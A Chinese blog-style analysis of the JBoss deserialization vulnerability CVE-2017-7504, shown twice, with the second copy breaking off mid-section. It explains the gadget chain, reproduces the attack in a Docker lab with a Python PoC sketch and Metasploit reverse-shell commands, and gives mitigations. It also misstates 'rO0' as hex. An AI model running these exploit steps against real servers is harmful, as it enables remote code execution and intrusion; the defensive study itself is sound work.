1. 项目概述从一次内部安全审计说起去年年底我们团队在对一个遗留的老旧业务系统进行例行安全审计时扫描器突然弹出了一个高危告警CVE-2017-7504。这个漏洞的名字对于很多搞Java应用安全的朋友来说应该不陌生。它涉及的是老牌Java EE应用服务器——JBoss现在叫WildFly的一个反序列化漏洞。当时这个系统还在使用一个比较老的JBoss AS 5.x版本而CVE-2017-7504影响的正是JBoss AS 4.x和5.x系列。我决定不满足于扫描器给出的“存在漏洞”结论而是深入进去把它的原理、利用链以及修复方案彻底搞清楚。这个过程实际上就是一次对“反序列化漏洞”这个经典议题的深度复盘。简单来说CVE-2017-7504漏洞允许攻击者通过向JBoss的HttpInvoker服务发送一个精心构造的、包含恶意序列化对象的HTTP请求从而在服务器上执行任意代码。这听起来很可怕但更可怕的是很多运维和开发人员对这个漏洞的理解可能还停留在“升级JBoss版本”的层面对其背后的Java反序列化机制和具体的利用链构造一知半解。今天我就结合当时审计和复现的过程把这个漏洞掰开揉碎了讲清楚。无论你是安全研究员想理解漏洞细节还是开发/运维同学想彻底排查自家系统风险这篇文章都会提供一条清晰的路径。2. 漏洞背景与核心原理拆解2.1 JBoss HttpInvoker服务被遗忘的“后门”要理解这个漏洞首先得知道攻击的入口点HttpInvoker。在早期的JBoss版本中它提供了一种基于HTTP协议的远程方法调用RMI机制允许客户端像调用本地对象一样调用服务器上的EJBEnterprise JavaBean。为了实现这个功能JBoss暴露了一个Servlet路径通常是/invoker/readonly或/invoker/JMXInvokerServlet。这个Servlet会接收客户端发送的HTTP POST请求请求体里是一个序列化后的Java对象包含了要调用的方法名、参数等信息服务器端接收到之后会对其进行反序列化还原成Java对象然后执行相应的方法调用。问题就出在这个“反序列化”的环节。Java的反序列化过程简单说就是把一串字节流byte stream重新恢复成一个内存中的对象。在这个过程中Java虚拟机会自动调用被反序列化对象的readObject()方法如果该对象实现了Serializable接口并自定义了此方法。设计readObject()的初衷是为了让开发者能自定义反序列化时的逻辑比如恢复一些瞬态transient字段。但在安全上这却成了一个巨大的“钩子”hook。攻击者可以精心构造一个对象在其readObject()方法中写入恶意代码当服务器反序列化这个对象时恶意代码就会被执行。注意很多同学会把反序列化和“执行命令”直接划等号其实中间还差着一个关键的“跳板”。readObject()本身只是一段Java代码它需要借助一些特殊的“工具类”通常被称为Gadget Chain利用链才能把代码执行的能力转化为真正的系统命令执行比如调用Runtime.exec()。2.2 CVE-2017-7504与CVE-2015-7501的“孪生”关系在深入CVE-2017-7504之前必须提一下它的“前辈”CVE-2015-7501也称为JBoss反序列化漏洞影响JBoss AS 4.x/5.x/6.x。这两个漏洞本质上利用了同一个入口点/invoker/JMXInvokerServlet和同一条核心利用链但有一个关键区别CVE-2015-7501利用的是org.jboss.invocation.MarshalledValue类。这个类是JBoss内部用于封装序列化数据的。漏洞利用时攻击者发送的序列化数据最外层就是这个MarshalledValue对象。CVE-2017-7504在CVE-2015-7501被修复后安全研究人员发现修复并不彻底。攻击者可以转而使用另一个类似的类org.jboss.invocation.MarshalledInvocation。这个类同样存在于JBoss的类路径中并且也实现了Serializable接口其readObject()方法同样会触发对内部封装对象的反序列化。简单理解就是堵上了一扇门MarshalledValue但旁边还有一扇窗MarshalledInvocation没关严。所以CVE-2017-7504可以看作是CVE-2015-7501的一个“补丁绕过”。在分析源码和构造利用载荷时我们只需要把焦点从MarshalledValue切换到MarshalledInvocation即可后续的利用链即如何从readObject()走到命令执行是完全一样的。2.3 漏洞利用链的核心从readObject到Runtime.exec光有入口点HttpInvoker和触发点MarshalledInvocation.readObject()还不够我们需要一条“路”通向命令执行。这条路由一系列特殊的Java类首尾相接而成这就是“利用链”Gadget Chain。对于JBoss的这两个漏洞最经典、最常用的链是InvokerTransformer链它依赖于Apache Commons CollectionsACC库的一个危险特性。这里我画一个简化的思维流程来帮助理解起点服务器反序列化我们发送的MarshalledInvocation对象。跳板1MarshalledInvocation.readObject()内部会反序列化其包含的另一个对象比如一个AnnotationInvocationHandler这是Java动态代理的一部分也是很多反序列化漏洞的常客。跳板2AnnotationInvocationHandler的readObject()或invoke()方法在反序列化后的某些操作中被触发会去调用一个TransformedMap或LazyMap的get()方法。这两个类来自Apache Commons Collections。危险操作TransformedMap或LazyMap在get()时会调用一个预置的Transformer转换器来处理key或value。攻击者可以预先设置一个ChainedTransformer它由多个Transformer组成。最终执行在这个ChainedTransformer链中最关键的一环是InvokerTransformer。这个类的可怕之处在于它可以通过反射Reflection调用任意Java对象的任意方法。攻击者将其配置为调用Runtime.getRuntime().exec(“恶意命令”)。这样当利用链被触发就像推倒了多米诺骨牌最终导致系统命令在服务器上被执行。这条链的威力很大程度上源于Apache Commons Collections库中这些设计上过于灵活、缺乏安全考虑的类。它们本意是提供强大的对象转换功能却在反序列化场景下成了攻击者的利器。3. 环境搭建与漏洞复现实操纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手复现一遍是最好的方式。下面我详细记录一下在安全测试环境中复现CVE-2017-7504的完整过程。3.1 靶机环境准备首先我们需要一个存在漏洞的JBoss环境。最方便的方法是使用Docker。# 搜索并拉取一个集成了漏洞环境的Docker镜像例如vulhub中的镜像 docker search jboss CVE-2017-7504 # 假设我们使用一个常见的靶场镜像 docker pull vulhub/jboss:as-5.2.0 # 运行容器将JBoss的8080端口映射到本地的8080端口 docker run -d -p 8080:8080 --name jboss-cve-2017-7504 vulhub/jboss:as-5.2.0启动后访问http://your-host-ip:8080/应该能看到JBoss的默认欢迎页面。更关键的是漏洞入口http://your-host-ip:8080/invoker/JMXInvokerServlet是存在的虽然页面可能显示404或500但这正是服务存在的迹象如果完全不存在该路径会返回404 Not Found这里需要区分应用级404和路径级404。3.2 利用工具选择与配置手动构造序列化利用链非常复杂我们通常使用现成的工具。ysoserial是业界最著名的Java反序列化利用框架它集成了多条针对不同库如Commons Collections, Groovy, Jdk7u21等的利用链。下载ysoserial可以从GitHub release页面下载最新的jar包。生成攻击载荷我们需要生成一个利用CommonsCollections链针对Commons Collections 3.2.1及以下版本的序列化数据并将其封装成针对JBoss的格式。虽然ysoserial直接支持生成MarshalledValue的载荷但对于CVE-2017-7504需要的MarshalledInvocation可能需要稍作调整。不过很多公开的PoC脚本已经做好了这一步。这里我分享一个经过验证的、可以直接使用的Python PoC脚本核心思路。这个脚本的作用是用ysoserial生成CommonsCollections链的载荷然后将其包装成MarshalledInvocation对象最后通过HTTP POST发送给目标。#!/usr/bin/env python3 # 示例PoC核心逻辑需要配合ysoserial.jar使用 import subprocess import requests import sys def generate_payload(cmd): # 调用ysoserial生成CommonsCollections1链的原始序列化数据 popen subprocess.Popen([java, -jar, ysoserial.jar, CommonsCollections1, cmd], stdoutsubprocess.PIPE, stderrsubprocess.PIPE) payload, err popen.communicate() return payload def wrap_for_jboss(payload): # 这里是一个简化的包装逻辑示意。 # 实际构造MarshalledInvocation对象需要更复杂的Java代码。 # 通常的做法是写一个简单的Java程序创建一个MarshalledInvocation对象 # 其hashMap成员变量里包含一个AnnotationInvocationHandler代理对象 # 而这个代理的memberValues是一个精心构造的LazyMap/TransformedMap。 # 最后将这个MarshalledInvocation对象序列化输出。 # 网上有开源的、已编译好的Java类可以直接用于生成最终载荷。 pass target sys.argv[1] command sys.argv[2] # 1. 生成命令执行载荷 raw_payload generate_payload(command) # 2. 包装成JBoss MarshalledInvocation格式 (此处需使用已实现的包装器) final_payload wrap_for_jboss(raw_payload) # 假设wrap_for_jboss函数已实现 # 3. 发送HTTP请求 url fhttp://{target}/invoker/JMXInvokerServlet headers {Content-Type: application/octet-stream} resp requests.post(url, datafinal_payload, headersheaders, timeout10) print(fSent payload to {url}, status code: {resp.status_code})实操心得在实际测试中我强烈建议直接使用Metasploit框架中的exploit/multi/http/jboss_invoke_deploy模块。它已经高度集成化自动处理了所有复杂的序列化对象构造和包装过程只需要设置目标RHOSTS、RPORT和Payload如java/meterpreter/reverse_tcp即可成功率非常高是渗透测试中的首选。3.3 复现过程与结果验证假设我们使用Metasploit进行复现启动msfconsole。use exploit/multi/http/jboss_invoke_deployset RHOSTS 靶机IPset RPORT 8080set PAYLOAD java/meterpreter/reverse_tcpset LHOST 你的攻击机IPset LPORT 4444exploit如果漏洞存在且利用成功你会获得一个Meterpreter会话。此时可以执行shell命令进入目标服务器的命令行执行whoami、ipconfig或ls等命令来验证漏洞利用成功确认攻击者已获取了运行JBoss服务的系统用户权限通常是权限较高的用户。关键验证点HTTP响应即使漏洞利用成功/invoker/JMXInvokerServlet这个Servlet的HTTP响应码可能依然是500内部服务器错误因为反序列化过程抛出了异常。但这并不妨碍恶意代码在此之前已经执行。所以不能单纯以HTTP响应是否成功来判断漏洞是否存在或利用是否成功。网络监听最可靠的验证方式是在攻击机设置好监听如Metasploit的handler查看是否有反向连接建立。无回显利用在某些严格的内网环境可能无法直接反弹Shell。此时可以采用“无回显”的利用方式例如执行一个触发DNS查询或HTTP请求的命令通过监控DNS日志或Web访问日志来间接验证命令执行。4. 漏洞深度源码分析理解了利用过程我们再来深入看看源码弄清楚“为什么”会这样。这里我们聚焦两个核心类MarshalledInvocation和 Apache Commons Collections 的InvokerTransformer。4.1 org.jboss.invocation.MarshalledInvocation我们查看JBoss AS 5.x版本的源码可从旧版本官网或Maven仓库下载。MarshalledInvocation实现了Serializable和Invocation接口。它的readObject方法是关键private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // ... 其他初始化代码 ... // 关键点如果 marshalledObject 不为空则会对其进行反序列化 if (marshalledObject ! null) { try { Object obj marshalledObject.getObject(); // 这里触发反序列化 // ... 后续将 obj 赋值给其他成员变量如 this.method, this.arguments 等 } catch (Exception e) { throw new IOException(Failed to unmarshal object: e.toString()); } } }marshalledObject是org.jboss.marshalling.MarshalledObject类型它的getObject()方法会执行反序列化操作。攻击者发送的序列化数据中marshalledObject字段里就封装了那条恶意的利用链从AnnotationInvocationHandler到TransformedMap...。所以当服务器收到数据调用readObject时就会自动触发内部封装对象的反序列化从而启动整个攻击链。4.2 org.apache.commons.collections.functors.InvokerTransformer这是Apache Commons Collections库中真正的“罪魁祸首”之一。我们看看它的transform方法public Object transform(Object input) { if (input null) { return null; } try { Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); // 通过反射获取方法 return method.invoke(input, iArgs); // 通过反射调用方法 } catch (NoSuchMethodException nsme) { // ... 异常处理 } }这个类的构造函数接收三个参数方法名iMethodName、参数类型数组iParamTypes和参数值数组iArgs。在利用链中攻击者会这样构造它new InvokerTransformer( exec, // 方法名 new Class[]{String.class}, // 参数类型 new Object[]{calc.exe} // 参数值 )当这个InvokerTransformer的transform方法被调用且传入的input对象是Runtime.getRuntime()返回的Runtime对象时它就会通过反射调用exec(“calc.exe”)方法弹出计算器或在服务器上执行任意命令。4.3 利用链的组装逻辑整个利用链的组装可以理解为一场精密的“编程魔术”。它利用了Java反序列化时对象图恢复的特性以及多个类之间通过接口回调形成的连锁反应。核心步骤在内存中构建如下对象关系创建一个ChainedTransformer它包含一个Transformer数组。这个数组的最后一个元素是上面构造的InvokerTransformer用于执行命令前面的元素则负责“传递”对象最终将Runtime对象传递给它。创建一个LazyMap或TransformedMap并将上一步的ChainedTransformer设置为其回调转换器。创建一个AnnotationInvocationHandler动态代理对象或利用其readObject逻辑并将其memberValues属性设置为上一步的Map。将这个AnnotationInvocationHandler对象封装进MarshalledInvocation的marshalledObject字段。当MarshalledInvocation被反序列化时AnnotationInvocationHandler的readObject或后续的equals/hashCode方法会被触发进而去读取memberValues这个Map。为了读取值Map的get()方法被调用这就触发了LazyMap/TransformedMap中预设的Transformer回调最终引爆整条链。踩坑记录在早期自己尝试构造利用链时最容易出错的地方就是AnnotationInvocationHandler的构造。这个类是Sun内部的sun.reflect.annotation.AnnotationInvocationHandler不能直接new。必须通过Java的反射API来创建它的实例。此外不同版本的JDK如7u80和8u20之后对这个类的内部实现有修改可能导致利用链失效这就是为什么有些漏洞对JDK版本有要求。5. 修复方案与安全加固建议分析漏洞是为了更好地防御。针对CVE-2017-7504修复必须从多个层面进行。5.1 官方修复与版本升级最根本、最推荐的解决方案是升级JBoss/WildFly到不受影响的版本。对于JBoss AS系列应升级到已修复该漏洞的版本或者直接迁移到WildFlyJBoss AS的后继项目。Red Hat官方早已为受影响的JBoss EAP企业版发布了安全补丁。修复的本质官方的修复补丁通常不是修改MarshalledInvocation的readObject方法因为那会破坏功能而是直接删除或禁用有问题的Servlet。例如在deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml中将JMXInvokerServlet的映射注释掉或删除或者将整个invoker.war应用移除。5.2 临时缓解措施如果因为兼容性等原因无法立即升级可以采取以下临时加固措施删除或重命名Invoker WAR包在JBoss的部署目录如JBOSS_HOME/server/default/deploy/下找到httpha-invoker.sar或直接包含invoker.war的文件将其移除或重命名如改为invoker.war.bak然后重启JBoss服务。这是最直接有效的方法。配置防火墙/安全组策略严格限制访问JBoss管理端口默认为8080, 9990等的源IP地址只允许运维管理机和必要的内部系统访问禁止暴露在公网。使用Web应用防火墙WAF配置WAF规则拦截对/invoker/JMXInvokerServlet和/invoker/readonly等路径的POST请求特别是请求体内容为Java序列化魔术头AC ED 00 05即十六进制的rO0开头的请求。5.3 开发层面的长期防御这个漏洞也给所有Java开发者敲响了警钟不要反序列化不可信的数据。这是黄金法则。使用安全的替代方案对于需要跨网络传输对象的场景考虑使用JSON、XML、Protocol Buffers等安全的序列化格式而不是Java原生序列化。升级基础库确保项目中使用的Apache Commons Collections库升级到安全版本如4.0及以上这些版本重写了危险的Transformer实现或者移除了相关功能。可以使用Maven依赖检查工具如OWASP Dependency-Check定期扫描。实施反序列化过滤器在Java 9及以上版本可以使用ObjectInputFilterJEP 290来为反序列化过程设置白名单或黑名单限制可以反序列化的类。这是从JVM层面提供的防护机制即使应用代码存在反序列化点也能有效拦截恶意利用链。代码审计在代码审查中重点关注ObjectInputStream.readObject(),XMLDecoder.parse(),Yaml.load(),XStream.fromXML()等危险方法的调用确保其输入源是可信的。6. 衍生思考与同类漏洞排查CVE-2017-7504不是一个孤立的案例它是Java反序列化漏洞“家族”中的一个典型代表。理解它就掌握了一把钥匙可以用于排查和理解许多同类问题。6.1 反序列化漏洞的通用模式这类漏洞通常遵循一个模式“一个可控的反序列化入口点” “一条存在于Classpath中的危险利用链”。入口点除了JBoss的HttpInvoker常见的还有Apache Shiro的RememberMe Cookie解密后反序列化。Spring框架的序列化数据绑定在某些旧版本或特定配置下。JMX端口RMI over JRMP的反序列化。任何自定义的、接收序列化对象进行网络通信或文件存储的接口。利用链除了Commons Collections还有Commons BeanUtilsGroovySpring AOPJdk7u21 (利用JDK内部类)Fastjson (通过特定autotype特性)Jackson (通过polymorphic deserialization)6.2 企业内部的漏洞排查清单基于这个模式我们可以制定一个简单的内部排查清单资产梳理列出所有对外服务的Java应用特别是那些使用老旧框架Struts2, Spring 3.x, 旧版JBoss/WebLogic/WebSphere的应用。端口扫描与服务探测使用Nmap等工具扫描服务器识别开放的Java RMI1099端口、JMX如9999端口等服务。使用浏览器或curl访问常见漏洞路径如/invoker/JMXInvokerServlet,/wls-wsat/CoordinatorPortType(WebLogic)。依赖库检查检查应用依赖的JAR包重点关注commons-collections-3.x.jar,commons-beanutils-1.8.x.jar,groovy-all-*.jar等存在已知利用链的库版本。代码审计全局搜索readObject,readResolve,readExternal,XMLDecoder,ObjectInputStream,Yaml.load,XStream.fromXML等关键词。流量监控与WAF在生产环境网络边界部署流量监控或WAF尝试识别和拦截含有Java序列化魔术头AC ED 00 05的HTTP请求体。6.3 从防御者到攻击者的视角转换作为一名安全工程师或关注安全的开发者我强烈建议在可控的环境下如自己的虚拟机、Docker容器亲手复现几次这类漏洞。这个过程的价值不在于“学会攻击”而在于深刻理解漏洞原理看十遍分析文章不如自己让计算器弹出来一次。提升排查效率知道了攻击是如何发生的你就能更准确地知道防御的重点在哪里排查时也更有方向感。建立安全直觉以后再看到类似“Java反序列化”、“RMI”、“JMX”这些关键词时大脑里的警报会立刻响起来。那次对老旧JBoss系统的审计最终以我们向运维团队提供了详细的漏洞报告、修复方案和临时加固脚本告终。系统最终得到了升级。整个过程让我再次体会到面对安全漏洞尤其是这种原理深刻、影响广泛的漏洞浮于表面的“知道了”是远远不够的。只有沉下去把它的来龙去脉、每一环的代码都搞清楚才能真正地“解决”它并在未来举一反三。安全之路就是这样一个不断深入细节、拆解黑盒的过程。希望这篇超详细的“浅析”能帮你打开这扇门。
Java反序列化漏洞深度剖析:从CVE-2017-7504看安全攻防实践
发布时间:2026/6/26 16:32:13
1. 项目概述从一次内部安全审计说起去年年底我们团队在对一个遗留的老旧业务系统进行例行安全审计时扫描器突然弹出了一个高危告警CVE-2017-7504。这个漏洞的名字对于很多搞Java应用安全的朋友来说应该不陌生。它涉及的是老牌Java EE应用服务器——JBoss现在叫WildFly的一个反序列化漏洞。当时这个系统还在使用一个比较老的JBoss AS 5.x版本而CVE-2017-7504影响的正是JBoss AS 4.x和5.x系列。我决定不满足于扫描器给出的“存在漏洞”结论而是深入进去把它的原理、利用链以及修复方案彻底搞清楚。这个过程实际上就是一次对“反序列化漏洞”这个经典议题的深度复盘。简单来说CVE-2017-7504漏洞允许攻击者通过向JBoss的HttpInvoker服务发送一个精心构造的、包含恶意序列化对象的HTTP请求从而在服务器上执行任意代码。这听起来很可怕但更可怕的是很多运维和开发人员对这个漏洞的理解可能还停留在“升级JBoss版本”的层面对其背后的Java反序列化机制和具体的利用链构造一知半解。今天我就结合当时审计和复现的过程把这个漏洞掰开揉碎了讲清楚。无论你是安全研究员想理解漏洞细节还是开发/运维同学想彻底排查自家系统风险这篇文章都会提供一条清晰的路径。2. 漏洞背景与核心原理拆解2.1 JBoss HttpInvoker服务被遗忘的“后门”要理解这个漏洞首先得知道攻击的入口点HttpInvoker。在早期的JBoss版本中它提供了一种基于HTTP协议的远程方法调用RMI机制允许客户端像调用本地对象一样调用服务器上的EJBEnterprise JavaBean。为了实现这个功能JBoss暴露了一个Servlet路径通常是/invoker/readonly或/invoker/JMXInvokerServlet。这个Servlet会接收客户端发送的HTTP POST请求请求体里是一个序列化后的Java对象包含了要调用的方法名、参数等信息服务器端接收到之后会对其进行反序列化还原成Java对象然后执行相应的方法调用。问题就出在这个“反序列化”的环节。Java的反序列化过程简单说就是把一串字节流byte stream重新恢复成一个内存中的对象。在这个过程中Java虚拟机会自动调用被反序列化对象的readObject()方法如果该对象实现了Serializable接口并自定义了此方法。设计readObject()的初衷是为了让开发者能自定义反序列化时的逻辑比如恢复一些瞬态transient字段。但在安全上这却成了一个巨大的“钩子”hook。攻击者可以精心构造一个对象在其readObject()方法中写入恶意代码当服务器反序列化这个对象时恶意代码就会被执行。注意很多同学会把反序列化和“执行命令”直接划等号其实中间还差着一个关键的“跳板”。readObject()本身只是一段Java代码它需要借助一些特殊的“工具类”通常被称为Gadget Chain利用链才能把代码执行的能力转化为真正的系统命令执行比如调用Runtime.exec()。2.2 CVE-2017-7504与CVE-2015-7501的“孪生”关系在深入CVE-2017-7504之前必须提一下它的“前辈”CVE-2015-7501也称为JBoss反序列化漏洞影响JBoss AS 4.x/5.x/6.x。这两个漏洞本质上利用了同一个入口点/invoker/JMXInvokerServlet和同一条核心利用链但有一个关键区别CVE-2015-7501利用的是org.jboss.invocation.MarshalledValue类。这个类是JBoss内部用于封装序列化数据的。漏洞利用时攻击者发送的序列化数据最外层就是这个MarshalledValue对象。CVE-2017-7504在CVE-2015-7501被修复后安全研究人员发现修复并不彻底。攻击者可以转而使用另一个类似的类org.jboss.invocation.MarshalledInvocation。这个类同样存在于JBoss的类路径中并且也实现了Serializable接口其readObject()方法同样会触发对内部封装对象的反序列化。简单理解就是堵上了一扇门MarshalledValue但旁边还有一扇窗MarshalledInvocation没关严。所以CVE-2017-7504可以看作是CVE-2015-7501的一个“补丁绕过”。在分析源码和构造利用载荷时我们只需要把焦点从MarshalledValue切换到MarshalledInvocation即可后续的利用链即如何从readObject()走到命令执行是完全一样的。2.3 漏洞利用链的核心从readObject到Runtime.exec光有入口点HttpInvoker和触发点MarshalledInvocation.readObject()还不够我们需要一条“路”通向命令执行。这条路由一系列特殊的Java类首尾相接而成这就是“利用链”Gadget Chain。对于JBoss的这两个漏洞最经典、最常用的链是InvokerTransformer链它依赖于Apache Commons CollectionsACC库的一个危险特性。这里我画一个简化的思维流程来帮助理解起点服务器反序列化我们发送的MarshalledInvocation对象。跳板1MarshalledInvocation.readObject()内部会反序列化其包含的另一个对象比如一个AnnotationInvocationHandler这是Java动态代理的一部分也是很多反序列化漏洞的常客。跳板2AnnotationInvocationHandler的readObject()或invoke()方法在反序列化后的某些操作中被触发会去调用一个TransformedMap或LazyMap的get()方法。这两个类来自Apache Commons Collections。危险操作TransformedMap或LazyMap在get()时会调用一个预置的Transformer转换器来处理key或value。攻击者可以预先设置一个ChainedTransformer它由多个Transformer组成。最终执行在这个ChainedTransformer链中最关键的一环是InvokerTransformer。这个类的可怕之处在于它可以通过反射Reflection调用任意Java对象的任意方法。攻击者将其配置为调用Runtime.getRuntime().exec(“恶意命令”)。这样当利用链被触发就像推倒了多米诺骨牌最终导致系统命令在服务器上被执行。这条链的威力很大程度上源于Apache Commons Collections库中这些设计上过于灵活、缺乏安全考虑的类。它们本意是提供强大的对象转换功能却在反序列化场景下成了攻击者的利器。3. 环境搭建与漏洞复现实操纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手复现一遍是最好的方式。下面我详细记录一下在安全测试环境中复现CVE-2017-7504的完整过程。3.1 靶机环境准备首先我们需要一个存在漏洞的JBoss环境。最方便的方法是使用Docker。# 搜索并拉取一个集成了漏洞环境的Docker镜像例如vulhub中的镜像 docker search jboss CVE-2017-7504 # 假设我们使用一个常见的靶场镜像 docker pull vulhub/jboss:as-5.2.0 # 运行容器将JBoss的8080端口映射到本地的8080端口 docker run -d -p 8080:8080 --name jboss-cve-2017-7504 vulhub/jboss:as-5.2.0启动后访问http://your-host-ip:8080/应该能看到JBoss的默认欢迎页面。更关键的是漏洞入口http://your-host-ip:8080/invoker/JMXInvokerServlet是存在的虽然页面可能显示404或500但这正是服务存在的迹象如果完全不存在该路径会返回404 Not Found这里需要区分应用级404和路径级404。3.2 利用工具选择与配置手动构造序列化利用链非常复杂我们通常使用现成的工具。ysoserial是业界最著名的Java反序列化利用框架它集成了多条针对不同库如Commons Collections, Groovy, Jdk7u21等的利用链。下载ysoserial可以从GitHub release页面下载最新的jar包。生成攻击载荷我们需要生成一个利用CommonsCollections链针对Commons Collections 3.2.1及以下版本的序列化数据并将其封装成针对JBoss的格式。虽然ysoserial直接支持生成MarshalledValue的载荷但对于CVE-2017-7504需要的MarshalledInvocation可能需要稍作调整。不过很多公开的PoC脚本已经做好了这一步。这里我分享一个经过验证的、可以直接使用的Python PoC脚本核心思路。这个脚本的作用是用ysoserial生成CommonsCollections链的载荷然后将其包装成MarshalledInvocation对象最后通过HTTP POST发送给目标。#!/usr/bin/env python3 # 示例PoC核心逻辑需要配合ysoserial.jar使用 import subprocess import requests import sys def generate_payload(cmd): # 调用ysoserial生成CommonsCollections1链的原始序列化数据 popen subprocess.Popen([java, -jar, ysoserial.jar, CommonsCollections1, cmd], stdoutsubprocess.PIPE, stderrsubprocess.PIPE) payload, err popen.communicate() return payload def wrap_for_jboss(payload): # 这里是一个简化的包装逻辑示意。 # 实际构造MarshalledInvocation对象需要更复杂的Java代码。 # 通常的做法是写一个简单的Java程序创建一个MarshalledInvocation对象 # 其hashMap成员变量里包含一个AnnotationInvocationHandler代理对象 # 而这个代理的memberValues是一个精心构造的LazyMap/TransformedMap。 # 最后将这个MarshalledInvocation对象序列化输出。 # 网上有开源的、已编译好的Java类可以直接用于生成最终载荷。 pass target sys.argv[1] command sys.argv[2] # 1. 生成命令执行载荷 raw_payload generate_payload(command) # 2. 包装成JBoss MarshalledInvocation格式 (此处需使用已实现的包装器) final_payload wrap_for_jboss(raw_payload) # 假设wrap_for_jboss函数已实现 # 3. 发送HTTP请求 url fhttp://{target}/invoker/JMXInvokerServlet headers {Content-Type: application/octet-stream} resp requests.post(url, datafinal_payload, headersheaders, timeout10) print(fSent payload to {url}, status code: {resp.status_code})实操心得在实际测试中我强烈建议直接使用Metasploit框架中的exploit/multi/http/jboss_invoke_deploy模块。它已经高度集成化自动处理了所有复杂的序列化对象构造和包装过程只需要设置目标RHOSTS、RPORT和Payload如java/meterpreter/reverse_tcp即可成功率非常高是渗透测试中的首选。3.3 复现过程与结果验证假设我们使用Metasploit进行复现启动msfconsole。use exploit/multi/http/jboss_invoke_deployset RHOSTS 靶机IPset RPORT 8080set PAYLOAD java/meterpreter/reverse_tcpset LHOST 你的攻击机IPset LPORT 4444exploit如果漏洞存在且利用成功你会获得一个Meterpreter会话。此时可以执行shell命令进入目标服务器的命令行执行whoami、ipconfig或ls等命令来验证漏洞利用成功确认攻击者已获取了运行JBoss服务的系统用户权限通常是权限较高的用户。关键验证点HTTP响应即使漏洞利用成功/invoker/JMXInvokerServlet这个Servlet的HTTP响应码可能依然是500内部服务器错误因为反序列化过程抛出了异常。但这并不妨碍恶意代码在此之前已经执行。所以不能单纯以HTTP响应是否成功来判断漏洞是否存在或利用是否成功。网络监听最可靠的验证方式是在攻击机设置好监听如Metasploit的handler查看是否有反向连接建立。无回显利用在某些严格的内网环境可能无法直接反弹Shell。此时可以采用“无回显”的利用方式例如执行一个触发DNS查询或HTTP请求的命令通过监控DNS日志或Web访问日志来间接验证命令执行。4. 漏洞深度源码分析理解了利用过程我们再来深入看看源码弄清楚“为什么”会这样。这里我们聚焦两个核心类MarshalledInvocation和 Apache Commons Collections 的InvokerTransformer。4.1 org.jboss.invocation.MarshalledInvocation我们查看JBoss AS 5.x版本的源码可从旧版本官网或Maven仓库下载。MarshalledInvocation实现了Serializable和Invocation接口。它的readObject方法是关键private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // ... 其他初始化代码 ... // 关键点如果 marshalledObject 不为空则会对其进行反序列化 if (marshalledObject ! null) { try { Object obj marshalledObject.getObject(); // 这里触发反序列化 // ... 后续将 obj 赋值给其他成员变量如 this.method, this.arguments 等 } catch (Exception e) { throw new IOException(Failed to unmarshal object: e.toString()); } } }marshalledObject是org.jboss.marshalling.MarshalledObject类型它的getObject()方法会执行反序列化操作。攻击者发送的序列化数据中marshalledObject字段里就封装了那条恶意的利用链从AnnotationInvocationHandler到TransformedMap...。所以当服务器收到数据调用readObject时就会自动触发内部封装对象的反序列化从而启动整个攻击链。4.2 org.apache.commons.collections.functors.InvokerTransformer这是Apache Commons Collections库中真正的“罪魁祸首”之一。我们看看它的transform方法public Object transform(Object input) { if (input null) { return null; } try { Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); // 通过反射获取方法 return method.invoke(input, iArgs); // 通过反射调用方法 } catch (NoSuchMethodException nsme) { // ... 异常处理 } }这个类的构造函数接收三个参数方法名iMethodName、参数类型数组iParamTypes和参数值数组iArgs。在利用链中攻击者会这样构造它new InvokerTransformer( exec, // 方法名 new Class[]{String.class}, // 参数类型 new Object[]{calc.exe} // 参数值 )当这个InvokerTransformer的transform方法被调用且传入的input对象是Runtime.getRuntime()返回的Runtime对象时它就会通过反射调用exec(“calc.exe”)方法弹出计算器或在服务器上执行任意命令。4.3 利用链的组装逻辑整个利用链的组装可以理解为一场精密的“编程魔术”。它利用了Java反序列化时对象图恢复的特性以及多个类之间通过接口回调形成的连锁反应。核心步骤在内存中构建如下对象关系创建一个ChainedTransformer它包含一个Transformer数组。这个数组的最后一个元素是上面构造的InvokerTransformer用于执行命令前面的元素则负责“传递”对象最终将Runtime对象传递给它。创建一个LazyMap或TransformedMap并将上一步的ChainedTransformer设置为其回调转换器。创建一个AnnotationInvocationHandler动态代理对象或利用其readObject逻辑并将其memberValues属性设置为上一步的Map。将这个AnnotationInvocationHandler对象封装进MarshalledInvocation的marshalledObject字段。当MarshalledInvocation被反序列化时AnnotationInvocationHandler的readObject或后续的equals/hashCode方法会被触发进而去读取memberValues这个Map。为了读取值Map的get()方法被调用这就触发了LazyMap/TransformedMap中预设的Transformer回调最终引爆整条链。踩坑记录在早期自己尝试构造利用链时最容易出错的地方就是AnnotationInvocationHandler的构造。这个类是Sun内部的sun.reflect.annotation.AnnotationInvocationHandler不能直接new。必须通过Java的反射API来创建它的实例。此外不同版本的JDK如7u80和8u20之后对这个类的内部实现有修改可能导致利用链失效这就是为什么有些漏洞对JDK版本有要求。5. 修复方案与安全加固建议分析漏洞是为了更好地防御。针对CVE-2017-7504修复必须从多个层面进行。5.1 官方修复与版本升级最根本、最推荐的解决方案是升级JBoss/WildFly到不受影响的版本。对于JBoss AS系列应升级到已修复该漏洞的版本或者直接迁移到WildFlyJBoss AS的后继项目。Red Hat官方早已为受影响的JBoss EAP企业版发布了安全补丁。修复的本质官方的修复补丁通常不是修改MarshalledInvocation的readObject方法因为那会破坏功能而是直接删除或禁用有问题的Servlet。例如在deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml中将JMXInvokerServlet的映射注释掉或删除或者将整个invoker.war应用移除。5.2 临时缓解措施如果因为兼容性等原因无法立即升级可以采取以下临时加固措施删除或重命名Invoker WAR包在JBoss的部署目录如JBOSS_HOME/server/default/deploy/下找到httpha-invoker.sar或直接包含invoker.war的文件将其移除或重命名如改为invoker.war.bak然后重启JBoss服务。这是最直接有效的方法。配置防火墙/安全组策略严格限制访问JBoss管理端口默认为8080, 9990等的源IP地址只允许运维管理机和必要的内部系统访问禁止暴露在公网。使用Web应用防火墙WAF配置WAF规则拦截对/invoker/JMXInvokerServlet和/invoker/readonly等路径的POST请求特别是请求体内容为Java序列化魔术头AC ED 00 05即十六进制的rO0开头的请求。5.3 